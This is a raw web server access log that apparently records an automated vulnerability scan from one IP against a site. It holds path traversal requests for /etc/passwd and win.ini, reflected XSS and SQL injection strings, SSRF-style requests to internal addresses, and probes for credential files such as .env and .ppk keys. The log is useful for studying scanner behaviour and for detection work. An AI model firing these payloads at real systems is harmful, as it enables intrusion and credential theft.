[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /protractor.conf.js HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/config.php HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /systemstatus.xml HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/db/database.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //1.txt HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/read/JMImplementation:type=MBeanServerDelegate/MBeanServerId HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/9 HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/status/flags HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pma/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dana-na/nc/nc_gina_ver.txt HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/production.log HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?m=login&a=attemptLogin HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/php/_devtools/installer/step_2.php?installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pyproject.toml HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_debugbar/open HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dana-na/auth/url_default/welcome.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /proftpd.conf HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /modules/cartabandonmentpro/upload.php HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /microsoft-server-activesync/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //sso/XUI HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Procfile HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /my.ppk HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpldapadmin HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /modules/blocktestimonial/addtestimonial.php HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://127.0.0.1:25 HTTP/1.1" 226
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%0A/interact.sh/ HTTP/1.1" 199
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=../../windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.pre-commit-config.yaml HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pubspec.yaml HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/status?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpMyAdmin%202/server_import.php HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpMyAdmin/index.php?db=information_schema HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /public/checklogin.htm HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/coverage.yml HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /m/apmarketplace/passwordrecovery HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/config/parameters.yml.dist HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webticket/webticketservice.svc HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system-diagnostics HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //php2.php HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //_phpmyadmin/scripts/setup.php HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /core/config/databases.yml HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /do/job.php?job=download&url=ZGF0YS9jb25maWcucGg8 HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://localhost/ HTTP/1.1" 226
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /node_modules/mqtt/test/helpers/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /directdata/direct/router HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/prometheus HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/license HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wpad.dat HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /prometheus/graph HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /QH.aspx?responderId=ResourceNewResponder&action=download&fileName=.%2fQH.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /host-manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hub HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/mstrWebAdmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/metrics HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /prtg/index.htm HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xml/User/User.xml HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /qlikview/FormLogin.htm HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.208 HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ HTTP/1.1" 199
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin.php?p=login HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /qvisdvr/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://192.168.1.1/ HTTP/1.1" 226
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /photo/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/database.yml HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v1/signin HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///index.php?redirect=true&meth=ajax HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DIN6YXYKk6qXGvKGqvgpywF3 HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc....4.2.1....json HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install.php HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphiql.min.js HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.integrations/aws/kinesis/auto_setup/create_subscription_policy HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.~ HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/initializers/secret_token.rb HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.ru HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?/AdminAppData@no-mobile-0/0/15503332983847185/ HTTP/1.1" 3426
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0djavascript:alert(1)//%0aaaaaa HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Rakefile HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/whoami HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /juddi/ HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?pp=env HTTP/1.1" 3426
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sql.z HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.war HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927575178 HTTP/1.1" -
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.tar HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/login HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /PRTG/index.htm HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings.yml HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.202.181 HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resin-doc/viewfile/?file=index.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%20../web-inf/ HTTP/1.1" 199
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=../../../../../index.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/console/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Account/login HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://192.168.1.1:22/ HTTP/1.1" 226
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /run.php?project=admin&execute_mode=ADMIN&clear_session=1 HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v1/signin HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /routes.ini HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resources/autogenerated/product-info.json HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.json?FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redfish/v1/ HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpLogin.php HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nifi-api/access/config HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dana-cached/hc/HostCheckerInstaller.osx HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v3/settings/first-login HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.php HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /errors_log HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /qcubed/assets/php/_devtools/installer/step_2.php?installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/html/login.html HTTP/1.1" 199
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.htm HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /configuration.yml HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /shop/products?category=cordless-tools&min=1026553%3balert(document.domain)%2f%2f772 HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /RDWeb/ HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //admin/phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=....//....//windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /euweb/login HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/read/JMImplementation:type=MBeanServerDelegate/SpecificationName HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/guest/tw/websys/webArch/login.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //sso/UI HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /putty.ppk HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/release.yaml HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/9 HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lib/crud/userprocess.php HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload/cbcbbac.html HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?action=login.index HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /AgentBoard.XGI?user='||'1&cmd=UserLogin HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /psp/retess/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dana-na/auth/url_2/welcome.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pre-commit-config.yaml HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //1.html HTTP/1.1" 196
[09/Jan/2026:10:54:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/robomongo.json HTTP/1.1" 196
